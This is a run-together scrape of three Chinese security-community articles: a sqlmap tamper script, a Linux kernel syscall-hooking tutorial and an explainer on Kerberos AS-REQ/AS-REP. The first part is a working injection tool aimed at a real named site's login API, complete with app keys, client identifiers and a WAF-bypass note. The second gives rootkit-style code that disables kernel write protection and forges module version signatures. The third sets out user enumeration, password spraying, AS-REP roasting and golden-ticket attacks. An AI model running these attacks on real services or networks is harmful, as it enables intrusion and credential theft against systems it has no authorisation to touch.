放到：D:\sqlmap2016\tamper
使用方法：
cd d:\sqlmap2016
python sqlmap.py -u "<https://www.sohu.com/openapi/v2/user/login>" --data
"{\"loginId\":\"13121838135\",\"password\":\"12345\"}" --tamper "replacehead"
--dbms="mysql" -v 5 --dbs --proxy=<http://127.0.0.1:8080>
运行时截图：
文件名：replacehead.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file "doc/COPYING" for copying permission
"""
import hashlib
import json
import ssl
import sys
import time,urllib,string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Append a HTTP header "X-originating-IP" to bypass
WAF Protection of Varnish Firewall
Notes:
Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366
Examples:
>> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
>> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
>> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
>> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
>> X-remote-IP: * or %00 or %0A
"""
reqBind = "/openapi/v2/user/login"
headers = kwargs.get("headers", {})
#data= kwargs.get("body",{})
headers["Connection"]="keep-alive"
headers["appId"]="MB-MJ-0000"
headers["appVersion"]="01.00.00.00000"
headers["clientId"]="8F5BD72F-EAC5-4A5F-9093-77328C81E1AE"
headers["sequenceId"]="20161020153428000015"
headers["accessToken"]=""
headers["language"]="zh-cn"
headers["timezone"]="+8"
headers["appKey"]="1fff7639ddc580d9cdfb16bde1d67249"
#data="{\"loginId\":\"13121838134\",\"password\":\"12345\"}"
data="{\"loginId\":\""+payload+"\",\"password\":\"12345\"}"
#data=(str)(data)
print data
t = time.time()
timestamp=int(round(t * 1000))
timestamp=str(timestamp)
#timestamp="1521193501374"
headers["timestamp"]=str(timestamp)
print headers
return payload | 社区文章 |
# 从0到1——Hook内核系统调用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文对kernel双机调试环境搭建、基础LKM编写、内核Hook系统调用、内核模块在不同机器上的加载进行了简单的介绍。
## 0x00 前言
先介绍一下背景吧，目前IOT设备发展可谓如火如荼，在研究的时候作为一个懒狗，总想能够找到一些比较通用的办法，root
shell已经不足以满足我了，于是就把罪恶的手伸向了内核，想要在内核里做一个Hook，但是在实际查看环境的时候才发现，很多IOT设备在出厂的时候，把
`build` 目录都给删了，能获取到的信息只有通过 `uname -sr`
查看到的版本号，因为对内核没有什么基础，最开始上手的时候极其困难，踩了许多坑，特此总结一下，同时也希望能给后入坑的师傅们做个参考。因为想尽量的细致的把这个流程写出来，很多东西可能比较啰嗦，见谅见谅。
## 0x01 双机调试环境搭建
如果从方便的角度来讲的话，qemu+gdb无疑是比较简便的调试方式，但是在自己之前接触的过程中发现qemu调试相对于双机调试来说还是存在其局限性的，因此个人还是建议要对内核进行调试的话还是使用双机调试的方式会比较舒服。其实如果编写的内核模块比较简单的话，通过 `dmesg` 的方式就已经可以提供很大的帮助了。
> 调试环境基于 Vmware + Centos 7 进行搭建
### 0x1 编译内核
~~搭建环境选择的kernel为 ~~`~~3.10.0~~`~~ ，这里建议的是kernel版本与系统发行时使用的kernel版本尽量接近，以免出现一些奇奇怪怪的问题。~~
这里建议选择下载rpm.src包后解包进行安装，本以为不会在这块踩坑了，无奈还是踩了个大坑，从官方源下载的kernel源码编译安装后无法正常进入系统，一直会有一个小光标在那闪来闪去闪来闪去。。目前走通的步骤如下：
* 下载源码包
wget http://vault.centos.org/7.4.1708/updates/Source/SPackages/kernel-3.10.0-693.21.1.el7.src.rpm
* 安装源码包
rpm -ivh kernel-3.10.0-693.21.1.el7.src.rpm
* 解压内核源码
cd /root/rpmbuild/SOURCES/
tar -xvf linux-3.10.0-693.21.1.el7.tar.xz
cd linux-3.10.0-693.21.1.el7
* 编译内核
在这里可能会遇到些依赖库的问题，可能需要自行安装一下，我这里碰到的是 `ncurses-devel`
make menuconfig
为方便后续的调试，需要勾掉下面这个选项，在开启该选项的情况下，会将内核一些区域设置为只读，导致kgdb设置的断点失效。
编译安装
make -j $(nproc)
make modules_install
make install
**编译完成以后就可以把当前虚拟机克隆作为调试机了。**
### 0x2 配置调试选项
**1\. server端**
* 生成initrd文件
mkinitrd initrd.img-xxx xxx // xxx 为版本号
* 拷贝文件
cp -r linux-xxx /usr/src/
cd /usr/src/linux-xxx
cp arch/x86_64/boot/bzImage /boot/vmlinuz-xxx-kgdb
cp System.map /boot/System.map-xxx-kgdb
cp initrd.img /boot/initrd.img-xxx-kgdb
* 配置grub
使得默认内核启动的时候使用串口并等待gdb连接。
vim /etc/default/grub
新增一行 GRUB_CMDLINE_LINUX_DEFAULT="quiet splash text kgdbwait kgdboc=ttyS0,115200"
grub2-mkconfig -o /boot/grub2/grub.cfg
* 添加串口
**2\. client端**
* 配置grub
vim /etc/default/grub
GRUB_CMDLINE_LINUX 中增加 "kgdboc=ttyS0,115200"
grub2-mkconfig -o /boot/grub2/grub.cfg
* 添加串口
### 0x3 开始调试
当Server端开机后选择新编译的内核后进入如下图的状态后，说明目前内核处于挂起状态，在等待kgdb连接。
此时通过client端的gdb进行连接后即可调试内核了
我在这次编码过程中用到的调试手段还是主要以 dmesg 查看报错为主的，因此内核双机调试这块暂时就写到这里了，后续有机会的话会尝试一下
vscode+kgdb 的调试方式，毕竟源码调试内核才是王道。
## 0x02 内核 Hook 简介
**1\. linux kernel Hook技术简介**
从分类上来讲，Linux Kernel Hook其实是属于Linux RootKit的一种，通过编写LKM(Loadable Kernel Modules
可加载内核模块)来扩展Linux内核的功能，LKM相对于直接在内核中添加代码而言，具有可插拔，无需重新编译内核的特点，因此LKM原本的是被大量应用与设备驱动程序的编写中的，同时也因为上述的优点，以及内核高权限的诱惑，LKM也常常被应用于Linux
rootkit中。
**2\. 系统调用流程简介**
在介绍如何Hook之前，首先需要学习一下kernel里系统调用的实现，内核里实现了各种各样的功能，最终通过系统调用的方式向用户层提供其接口。
以execve为例：
* 用户态转入内核态
用户态程序调用execve后，首先引发系统中断，根据EAX的功能号__NR_execve在系统调用表(sys_call_table)中查询到对应系统调用的入口地址。
...
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
#define __NR_chdir 12
#define __NR_time 13
#define __NR_mknod 14
#define __NR_chmod 15
...
* 获取系统调用地址
在查询到的系统调用入口这里不同内核版本的结果是不太一样的，对于Linux kernel <= 2.6 的内核，在 sys_call_table
中查出来的地址就是 sys_execve 函数的地址。 Linux kernel > 2.6 也就是本次使用的 Linux 3.x
系列的内核中，sys_execve 外层套了一个壳： stub_execve，由这个系统调用中转后再调用 sys_execve，这个方式在 Linux
kernel 4.x 的版本中貌似又被去除了，因此对于 Linux kernel 3.x 的 Hook就要采用不同的方式进行 Hook。
ENTRY(stub_execve)
CFI_STARTPROC
addq $8, %rsp
PARTIAL_FRAME 0
SAVE_REST
FIXUP_TOP_OF_STACK %r11
call sys_execve
movq %rax,RAX(%rsp)
RESTORE_REST
jmp int_ret_from_sys_call
CFI_ENDPROC
END(stub_execve)
ENTRY(stub_x32_execve)
CFI_STARTPROC
addq $8, %rsp
PARTIAL_FRAME 0
SAVE_REST
FIXUP_TOP_OF_STACK %r11
call compat_sys_execve
RESTORE_TOP_OF_STACK %r11
movq %rax,RAX(%rsp)
RESTORE_REST
jmp int_ret_from_sys_call
CFI_ENDPROC
END(stub_x32_execve)
* sys_execve
通过sys_call_table获取到的sys_execve最终是通过do_execve来完成其功能，在sys_execve这一层面主要做了要执行文件的文件信息校验，确认要执行的文件无误后传入do_execve中。
45 * sys_execve() executes a new program.
46 */
47 asmlinkage long sys_execve(const char __user *filenamei,
48 const char __user *const __user *argv,
49 const char __user *const __user *envp,
50 struct pt_regs *regs)
51 {
52 long error;
53 struct filename *filename;
54
55 filename = getname(filenamei);
56 error = PTR_ERR(filename);
57 if (IS_ERR(filename))
58 goto out;
59 error = do_execve(filename->name, argv, envp, regs);
60 putname(filename);
61 out:
62 return error;
63 }
在do_execve后还有do_execve_common，实际的执行逻辑其实都在do_execve_common中实现，但这些并不是这篇文章的重点，有兴趣的话可以自行去查看一下相关的代码。
**3\. 如何进行Hook**
通过上述对系统调用流程的简介可以发现，从用户层到内核层的最关键的一个位置就在于sys_call_table中的内容，如果我们修改了sys_call_table中调用号对应的地址为我们所插入的LKM中函数的地址的话，就可以完成对特定系统调用的Hook了。
对于 Linux Kernel <= 2.6 以及 Linux Kernel 4.x 的 Hook 来说，通过修改sys_call_table中
**NR_execve 对应的地址为自实现execve函数的地址即可。
对于 Linux Kernel 3.x 的 Hook 来说，就不能简单的替换 **NR_execve 来实现了，在 stub_execve
的实现中对rsp进行了平衡后才调用的 sys_execve， 根据这个逻辑就产生了两种 Hook 的方式：
* 替换 stub_execve 后自行实现栈平衡
通过 inlline hook 的方式对内存进行patch，修改 call sys_execve 调用的地址为我们自己实现的 execve 函数的地址
我是使用第二种方式进行的 Hook，相对于第一种方法来说具有一定的暴力性，需要对内核的代码段进行修改。
**4\. 内核模块（LKM）简介**
内核系统调用Hook的代码需要通过内核模块的方式加载进入内核中，首先需要对内核模块有一个简单的了解。下面是一个 LKM 的 hello world
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE(“GPL”);
MODULE_AUTHOR(“user”);
MODULE_DESCRIPTION(“A simple example Linux module.”);
MODULE_VERSION(“0.1”);
static int __init hello_init(void) {
printk(KERN_INFO “Hello, World!\n”);
return 0;
}
static void __exit hello_exit(void) {
printk(KERN_INFO “Goodbye, World!\n”);
}
module_init(hello_init);
module_exit(hello_exit);
在编写内核模块前必须导入的三个头文件 `linux/init.h` , `linux/module.h`,
`linux/kernel.h`，其次是模块的加载，LKM中没有main函数，对应的是`module_init`和`module_exit`，`module_init`在LKM被加载进入内核后调用，`module_exit`在LKM被卸载时调用。
编写完 LKM 后需要写一个简单的 Makefile
obj-m += hello_world.o # obj-m 表示将 hello_world.o 编译为模块， obj-y 表示将 hello_world.o 编译入内核中（更详细的内核Makefile命令的解释可以参考官方文档）
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
make 后就可以看到一个 hello_world.ko 的文件
此时，通过 insmod 指令即可将 hello_world.ko 模块加载进入内核中，通过dmesg命令就可以看到hello world了。
卸载 LKM 的命令为 rmmod， 需要注意的是，如果在编写代码过程中没有写 `module_exit` 的话，LKM是不能通过 rmmod 卸载掉的！
## 0x03 Hook execve
**1\. my_hook_execve**
首先实现一个自己的sys_execve函数，这里需要注意的是，在实现自己的内核函数的时候，一定要严格按照原函数的定义来定义自己的函数，否则在调用的时候有一定的几率会
crash
asmlinkage long my_hook_execve(const char __user *filename, const char __user * const __user *argv,
const char __user *const __user *envp)
{
char user_filename[500] = {0};
get_user_cmdline(argv, user_filename, 500);
return orig_execve_func(filename, argv, envp);
}
代码逻辑比较简单，打印当前执行指令的参数后就直接调用了原本的 sys_execve 函数，这里如果之前没有对内核编码有基础了解的话，容易踩的一个坑就是
**内核代码是不能直接访问用户空间数据的** ，需要通过指定的接口来从用户空间拷贝数据到内核中。
bool get_user_cmdline(const char __user *const __user *argv, char* cmdline, int cmd_len)
{
if(unlikely(argv==NULL||cmdline==NULL||cmd_len<=0))
return false;
memset(cmdline, 0, cmd_len);
int i=0, offset=0;
if(argv != NULL){
for(;i<0x7fffffff;){
const char __user *p;
int ret = get_user(p, argv+i);
if(ret || !p || IS_ERR(p)){
break;
}
char tmp[256]={0};
ret = copy_from_user(tmp,p,256);
if(ret<256){
int tmp_len = strlen(tmp);
if(offset+1+tmp_len > cmd_len){
printk("[err] %s. too much args",__FUNCTION__);
break;
}
strncpy(cmdline+offset, tmp, tmp_len);
offset += tmp_len;
cmdline[offset]=' ';
offset++;
}
else{
printk("[err] %s. copy_from_user failed. ret:%d.\n",__FUNCTION__, ret);
}
++i;
}
}
if(cmdline[offset-1]==' ')
cmdline[offset-1]=0;
printk("[cmdline]:%s, offset:%d\n", cmdline, offset);
return true;
}
通过 copy_from_user、strncpy_from_user、copy_to_user、get_user、put_user
可完成用户空间数据与内核的交互。
//__copy_from_user — Copy a block of data from user space, with less checking.
unsigned long __copy_from_user (void * to,const void __user * from,unsigned long n);
//strncpy_from_user -- Copy a NUL terminated string from userspace.
long strncpy_from_user (char * dst, const char __user * src, long count);
//copy_to_user -- Copy a block of data into user space.
unsigned long copy_to_user (void __user * to, const void * from, unsigned long n);
//get_user -- Get a simple variable from user space.
get_user (x, ptr);
//put_user -- Write a simple value into user space.
put_user (x, ptr);
**2\. 获取 sys_call_table 地址**
获取sys_call_table前首先要根据内核对应结构信息，在代码中增加相关的定义
typedef asmlinkage long (*sys_call_ptr_t)(const struct pt_regs *);
static sys_call_ptr_t *sys_call_table;
typedef asmlinkage long (*execve_t)(const char __user *filename, const char __user * const __user *argv,
const char __user *const __user *envp, struct pt_regs *);
execve_t orig_execve_func = NULL;
execve_t stub_execve_func = NULL;
sys_call_table = (sys_call_ptr_t *)kallsyms_lookup_name("sys_call_table"); //获取 sys_call_table 地址
stub_execve_func = (execve_t)sys_call_table[__NR_execve]; // 获取stub_execve地址
orig_execve_func = kallsyms_lookup_name("sys_execve"); // 获取原始sys_execve地址
**3\. 替换sys_execve**
因为需要对内核的代码段打patch，首先需要内核对代码段的保护（CR0），patch完毕后再开启。
write_cr0(read_cr0() & (~0x10000));
replace_kernel_func(stub_execve_func, orig_execve_func, (unsigned long)my_hook_execve);
write_cr0(read_cr0() | 0x10000);
patch函数源码如下：
static int replace_kernel_func(unsigned long handler,
unsigned long orig_func, unsigned long my_func)
{
unsigned char *tmp_addr = (unsigned char*)handler; // stub_execve 函数的地址
int i = 0;
do{
/* in x86_64 the call instruction opcode is 0x8e,
* occupy 1+4 bytes(E8+offset) totally
*/
if(*tmp_addr == 0xe8){ // 从头开始找 call 指令
int* offset = (int*)(tmp_addr+1);
if(((unsigned long)tmp_addr + 5 + *offset) == orig_func){ // 找到 call 指令后判断是否 call 的地址是 sys_execve
printk("call:0x%08x, offset:%08x, old_func:%08x.\n",
(unsigned int)tmp_addr, *offset, orig_func);
/* replace with my_func relative addr(offset) */
*offset=my_func-(unsigned long)tmp_addr-5; // 如果是，则替换该地址为我们自实现的地址
printk("call:0x%08x, offset:%08x, new_func:%08x.\n",
(unsigned int)tmp_addr, *offset, my_func);
return 1;
}
}
tmp_addr++;
}while(i++ < 128);
return 0;
}
**4\. 恢复sys_execve**
在完成hook后不要忘记将call sys_execve恢复到原来的状态，否则在 LKM 卸载后，call sys_execve
仍然会跳转到原本是自实现execve函数的地址上去导致crash。
static int __exit test_exit(void)
{
write_cr0(read_cr0() & (~0x10000));
replace_kernel_func(stub_execve_func, (unsigned long)my_hook_execve, orig_execve_func);
write_cr0(read_cr0() | 0x10000);
return 0;
}
最终实现的效果如下：
此时，我们就已经成功的在Centos上把模块跑起来了~
## 0x04 内核模块迁移
当我拿着连小版本号都匹配上的实验环境中编译的内核模块放到IOT设备上执行了 `insmod` 后，系统无情的给报了一个错误：
[Thu May 13 xx:xx:xx 2021] hello_world: disagrees about version of symbol module_layout
google 查询了一圈之后，得到的回答基本都是需要LKM与kernel版本完全匹配，否则kernel会拒绝LKM的加载，难道就已经没有办法了吗？不甘心的我打开了IDA，偶然间看到了 `__version` 区段
然后在 Hex 窗口看到了这样的一串hex
想必很多大师傅已经懂了我要干什么了，我从目标上扒了一个ko文件下来，找到了`module_layout` 的四字节签名后直接在 IDA
中把我的ko文件中`module_layout` 的签名patch成和目标上一样的。
把该patch的地方都patch完了以后直接 `insmod` ，本以为能够加载起来，系统又把我策马奔腾的心给拦下来了，这次提示的错误是找不到
`__x86_indirect_thunk_rax` 这个符号，这可如何是好？？
kernel: helloworld: Unknown symbol __x86_indirect_thunk_rax (err 0)
代码逻辑里最终调用原本的sys_execve函数是通过一个动态调用实现的，编译完成后就变成了`__x86_indirect_thunk_rax`
这个符号，总不能把这玩意删了吧？
不死心的我在目标上查询了一下，确实是没有这个符号。。
此时的我一度陷入僵局，就差最后一步就能将模块成功加载了，通过对这个函数的搜索后，果然是找到些端倪，在搜索过程中，`__x86_indirect_thunk_rax` 与 `retpoline` 的关联相当的密切，经过一番学习后才知道，**retpoline是Google开发的针对Spectre变种2漏洞缓解利用技术。**换句话说就是IOT设备在发布的时候，还没有爆出Intel幽灵漏洞，但是在我编译内核模块的实验环境中，系统已经打过这个补丁了，导致我使用的内核模块中导入了新的内核符号，从而造成在IOT设备上加载的时候无法找到该符号的问题。
那么解决办法也很简单了，在搭建实验环境的时候去除上述的补丁即可~
最终也是成功的在IOT设备上成功的把模块加载起来了在整个编码过程中踩了许多坑，同时非常感谢在这次学习中为我提供无私帮助的大师傅们。
## 参考链接
<https://mp.weixin.qq.com/s/SDeSOCb-C4YEeIKAGfA8WQ>
<https://qkxu.github.io/2019/05/29/CentOS-7-%E4%B8%8A%E7%BC%96%E8%AF%91%E5%AE%89%E8%A3%85Linux%E5%86%85%E6%A0%B8.html>
<https://www.cnblogs.com/cobcmw/p/11387801.html>
<https://www.kernel.org/doc/Documentation/kbuild/makefiles.txt>
<https://elixir.bootlin.com/linux/v3.10/source/fs/exec.c#L1583>
<https://cloud.tencent.com/developer/article/1087370> | 社区文章 |
# Windows内网协议学习Kerberos篇之ASREQ& ASREP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
author: daiker@360RedTeam
## 0x00 前言
熟悉内网渗透的应该都对IPC，黄金票据，白银票据，ntlm relay，Ptt,Ptk
这些词汇再熟悉不够了，对其利用工具也了如指掌，但是有些人对里面使用的原理还不太了解，知其然不知其所以然，本系列文章将针对内网渗透的常见协议(如kerbeos,ntlm,smb,ldap等)进行协议分析，相关漏洞分析以及漏洞工具分析利用。
kerberos篇将从四个方面来阐述kerberos协议，分别是kerberos的两个基础认证模块ASREQ & ASREP,TGSREQ &
TGSREP。以及微软扩展的两个认证模块S4U和PAC。这篇文章是kerberos篇的第一篇文章ASREQ& ASREP。
## 0x01 kerberos 协议概述
Kerberos是一种由MIT（麻省理工大学）提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。
在Kerberos协议中主要是有三个角色的存在：
1. 访问服务的Client(以下表述为Client 或者用户)
2. 提供服务的Server(以下表述为服务)
3. KDC（Key Distribution Center）密钥分发中心 kerberos 测试工具介绍
其中KDC服务默认会安装在一个域的域控中，而Client和Server为域内的用户或者是服务，如HTTP服务，SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。
kerberos的简化认证认证过程如下图
1. ASREQ: Client向KDC发起ASREQ,请求凭据是Client hash加密的时间戳
2. AS_REP: KDC使用Client hash进行解密，如果结果正确就返回用krbtgt hash加密的TGT票据，TGT里面包含PAC,PAC包含Client的sid，Client所在的组。
3. TGSREQ: Client凭借TGT票据向KDC发起针对特定服务的TGSREQ请求
4. TGS_REP: KDC使用krbtgt hash进行解密，如果结果正确，就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限，只要TGT正确，就返回TGS票据)
5. AP_REQ: Client拿着TGS票据去请求服务
6. AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确，就拿着PAC去KDC那边问Client有没有访问权限，域控解密PAC。获取Client的sid，以及所在的组，再根据该服务的ACL，判断Client是否有访问服务的权限。
## 0x02 kerberos 测试工具
在学习kerberos协议的过程中，一直以来都是利用工具发包，然后再通过wireshark抓包分析，这让用惯了Burp的我很不习惯，burp的repeater模块可以很方便的改包，发包，查看响应包。为了更方便得学习kerberos，简单得写了个测试工具，用于kerbreos协议的研究。
点击修改配置，支持明文密码以及hash
协议的各个字段将在本篇文章以及接下来的几篇文章里面详细阐述，配合此工具理解kerberos 字段，效果更佳。
## 0x03 AS_REQ
用户向KDC发起ASREQ,请求凭据是用户 hash加密的时间戳。请求凭据放在PADATA里面。详情见以下每个字段的详细介绍。
### 1\. pvno
kerberos 版本号
### 2\. msg-type
类型，ASREQ对应的就是KRBAS_REQ(0x0a)
### 3\. PA_DATA
主要是一些认证信息。一个列表，包含若干个认证消息用于认证，我们也可以Authenticator。每个认证消息有type和value。
type主要有以下一些
NONE = 0,
TGS_REQ = 1,
AP_REQ = 1,
ENC_TIMESTAMP = 2,
PW_SALT = 3,
ENC_UNIX_TIME = 5,
SANDIA_SECUREID = 6,
SESAME = 7,
OSF_DCE = 8,
CYBERSAFE_SECUREID = 9,
AFS3_SALT = 10,
ETYPE_INFO = 11,
SAM_CHALLENGE = 12,
SAM_RESPONSE = 13,
PK_AS_REQ_19 = 14,
PK_AS_REP_19 = 15,
PK_AS_REQ_WIN = 15,
PK_AS_REQ = 16,
PK_AS_REP = 17,
PA_PK_OCSP_RESPONSE = 18,
ETYPE_INFO2 = 19,
USE_SPECIFIED_KVNO = 20,
SVR_REFERRAL_INFO = 20,
SAM_REDIRECT = 21,
GET_FROM_TYPED_DATA = 22,
SAM_ETYPE_INFO = 23,
SERVER_REFERRAL = 25,
TD_KRB_PRINCIPAL = 102,
PK_TD_TRUSTED_CERTIFIERS = 104,
PK_TD_CERTIFICATE_INDEX = 105,
TD_APP_DEFINED_ERROR = 106,
TD_REQ_NONCE = 107,
TD_REQ_SEQ = 108,
PA_PAC_REQUEST = 128,
S4U2SELF = 129,
PA_PAC_OPTIONS = 167,
PK_AS_09_BINDING = 132,
CLIENT_CANONICALIZED = 133
在AS_REQ阶段主要用到的有两个
ENC_TIMESTAMP
* 这个是预认证，就是用用户hash加密时间戳，作为value 发送给AS服务器。然后AS服务器那边有用户hash，使用用户hash进行解密，获得时间戳，如果能解密，且时间戳在一定的范围内，则证明认证通过
PAPACREQUEST
* 这个是启用PAC支持的扩展。PAC(Privilege Attribute Certificate)并不在原生的kerberos里面，是微软引进的扩展。详细的内容之后将有一篇文章详细介绍PAC。PAC包含在ASREQ的响应body(ASREP)。这里的value对应的是include=true或者include=false(KDC根据include的值来判断返回的票据中是否携带PAC)。
### 4\. REQ_BODY
kdc-options 一些flag 字段
VALIDATE = 0x00000001,
RENEW = 0x00000002,
UNUSED29 = 0x00000004,
ENCTKTINSKEY = 0x00000008,
RENEWABLEOK = 0x00000010,
DISABLETRANSITEDCHECK = 0x00000020,
UNUSED16 = 0x0000FFC0,
CANONICALIZE = 0x00010000,
CNAMEINADDLTKT = 0x00020000,
OK_AS_DELEGATE = 0x00040000,
UNUSED12 = 0x00080000,
OPTHARDWAREAUTH = 0x00100000,
PREAUTHENT = 0x00200000,
INITIAL = 0x00400000,
RENEWABLE = 0x00800000,
UNUSED7 = 0x01000000,
POSTDATED = 0x02000000,
ALLOWPOSTDATE = 0x04000000,
PROXY = 0x08000000,
PROXIABLE = 0x10000000,
FORWARDED = 0x20000000,
FORWARDABLE = 0x40000000,
RESERVED = 0x80000000
cname
PrincipalName 类型。PrincipalName包含type和value。
1. KRBNTPRINCIPAL = 1 means just the name of the principal 如daizhibin
2. KRBNTSRV_INST = 2 service and other unique instance (krbtgt) 如krbtgt，cifs
3. KRBNTENTERPRISE_PRINCIPAL = 10 如 user@domain.com
在AS_REQ里面cname 是请求的用户,这个用户名存在和不存在，返回的包有差异，可以用于枚举域内用户名。详情见相关的安全问题>用户名枚举
sname
PrincipalName 类型
在ASREQ里面sname是krbtgt，类型是KRBNTSRVINST
realm
* 域名
from
* 发送时间
till
* 到期时间，rubeus和kekeo都是20370913024805Z，这个可以作为特征来检测工具。
nonce
* 随机生成的一个数kekeo/mimikatz nonce是12381973，rubeus nonce是1818848256，这个也可以用来作为特征检测工具。
etype
加密类型，有
des_cbc_crc = 1,
des_cbc_md4 = 2,
des_cbc_md5 = 3,
des3_cbc_md5 = 5,
des3_cbc_sha1 = 7,
dsaWithSHA1_CmsOID = 9,
md5WithRSAEncryption_CmsOID = 10,
sha1WithRSAEncryption_CmsOID = 11,
rc2CBC_EnvOID = 12,
rsaEncryption_EnvOID = 13,
rsaES_OAEP_ENV_OID = 14,
des_ede3_cbc_Env_OID = 15,
des3_cbc_sha1_kd = 16,
aes128_cts_hmac_sha1 = 17,
aes256_cts_hmac_sha1 = 18,
rc4_hmac = 23,
rc4_hmac_exp = 24,
subkey_keymaterial = 65
这个地方要注意的是如果在配置里面选择用hash(不是plaintext)的话，hash的加密类型，要跟etype一样。因为KDC是按照etype类型选择用户对应加密方式的hash，如果是选择明文(plaintext)，那么client
会按照etype里面的加密方式将明文加密成hash。
## 0x04 AS_REP
KDC使用用户 hash进行解密，如果结果正确返回用krbtgt hash加密的TGT票据，TGT里面包含PAC,PAC包含用户的sid，用户所在的组。
### 1\. msg-type
ASREQ的响应body对应的就是KRBAS_REP(0x0b)
### 2\. crealm
域名
### 3\. cname
用户名
### 4\. ticket
这个ticket用于TGSREQ的认证。是加密的，用户不可读取里面的内容。在ASREQ请求里面是，是使用krbtgt的hash进行加密的，因此如果我们拥有krbtgt的hash就可以自己制作一个ticket，既黄金票据。详情见相关的安全问题>黄金票据.
### 5\. enc_part
这部分是可以解密的，key是用户hash，解密后得到Encryptionkey，Encryptionkey里面最重要的字段是session
key，作为下阶段的认证密钥。
## 0x05 导出的票据
凭据里面最核心的东西是session-key和加密的ticket。
正常我们用工具生成的凭据是.ccache和.kirbi后缀的，用mimikatz，kekeo，rubeus生成的凭据是以.kirbi后缀的。impacket
生成的凭据的后缀是.ccache。两种票据主要包含的都是session-key和加密的ticket，因此可以相互转化。
以kirbi为例介绍下该结构体。
KRB-CRED::= [APPLICATION 22] SEQUENCE {
pvno[0] INTEGER(5),
msg-type[1] INTEGER(22),
tickets[2] SEQUENCE OF Ticket,
enc-part[3] EncryptedData -- EncKrbCredPart
}
其中ticket来自于KRBASREP部分的ticket
EncKrbCredPart ::= [APPLICATION 29] SEQUENCE {
ticket-info [0] SEQUENCE OF KrbCredInfo, //这里就只用到这个
nonce [1] UInt32 OPTIONAL,
timestamp [2] KerberosTime OPTIONAL,
usec [3] Microseconds OPTIONAL,
s-address [4] HostAddress OPTIONAL,
r-address [5] HostAddress OPTIONAL
}
ticket-info部分的主要内容是session-key，来自于用户hash解密enc_part的部分
KrbCredInfo ::= SEQUENCE {
key [0] EncryptionKey, sessionKey
prealm [1] Realm OPTIONAL, //对应的是realm
pname [2] PrincipalName OPTIONAL, // 对应的是cname
flags [3] TicketFlags OPTIONAL,
authtime [4] KerberosTime OPTIONAL, //not require
starttime [5] KerberosTime OPTIONAL, //
endtime [6] KerberosTime OPTIONAL,
renew-till [7] KerberosTime OPTIONAL,
srealm [8] Realm OPTIONAL, //对应的是realm
sname [9] PrincipalName OPTIONAL, // 对应的是sname
caddr [10] HostAddresses OPTIONAL
}
## 0x06 相关的安全问题
### 1\. pass the key
在连接配置的时候允许使用hash进行认证，而不是只有账号密码才能认证。
就是由于在进行认证的时候，是用用户hash加密时间戳，即使在使用密码进行登录的情况下，也是先把密码加密成hash，再进行认证。因此在只有用户hash，没有明文密码的情况下也是可以进行认证的。不管是rubeus还是impacket里面的相关脚本都是支持直接使用hash进行认证。其中，如果hash的ntlm
hash，然后加密方式是rc4，这种就算做是pass the hash，如果是hash是aes
key(使用sekurlsa::ekeys导出来)，就算是pass the key。在很多地方，不支持rc4加密方式的时候，使用pass the
key不失为一种好方法。
### 2\. 用户名枚举
看以下几种情况
用户名存在，密码错误的情况下
用户名不存在的情况下
通过这个比较就可以写脚本改变cname的值进行用户名枚举。在域内没有域账号的情况下进行用户名枚举，在有账号的情况的下通过LDAP查询就行。如果有域内机器的system权限，那那台机器也是个域账户，账户名是机器名$.
### 3\. Password Spraying
在已有用户名的时候，可以尝试爆破密码。
密码正确的情况下:
密码错误的情况下:
这个时候就可以进行密码爆破了，但是在实践中，许多渗透测试人员和攻击者通常都会使用一种被称为“密码喷洒（Password
Spraying）”的技术来进行测试和攻击。对密码进行喷洒式的攻击，这个叫法很形象，因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定，因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试，才能增加破解的概率，消除帐户被锁定的概率。普通的爆破就是用户名固定，爆破密码，但是密码喷洒，是用固定的密码去跑用户名。工具利用见部分相关的工具>DomainPasswordSpray
### 4\. AS-REPRoasting
对于域用户，如果设置了选项”Do not require Kerberos
preauthentication”，此时向域控制器的88端口发送ASREQ请求，对收到的ASREP内容(enc-part底下的ciper，因为这部分是使用用户hash加密session-key，我们通过进行离线爆破就可以获得用户hash)重新组合，能够拼接成”Kerberos 5 AS-REP etype
23”(18200)的格式，接下来可以使用hashcat对其破解，最终获得该用户的明文口令
我们没有用户hash，PA-DATA选择PAPACREQUEST就行
点击鼠标右键获取AS_REP里面enc-part部分里面的ciper，然后组装成前面32位16进制字符+$+后面的16进制字符得到repHash,然后format(“$krb5asrep$23${0}@{1}:{2}”,
userName, domain, repHash)得到字符串，交给hashcat 破解就行
这里面只做漏洞原理演示。方便的工具化的利用参见部分相关的工具
### 5\. 黄金票据
在AS_REP里面的ticket的encpart是使用krbtgt的hash进行加密的，如果我们拥有krbtgt的hash，就可以给我们自己签发任意用户的TGT票据，这个票据也被称为黄金票据。
## 0x07 部分相关的工具
### 1\. Rubeus
Rubeus跟AS_REQ有关的功能主要有两个。
* asktgt
这个功能用于发送tgt请求包，并将凭据以base64打印出来。
可以通过powershell 解密base64并写入文件(注意回车换行)
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))
* As-repoasting
这个功能会通过LDAP查询域内用户设置了选项”Do not require Kerberos
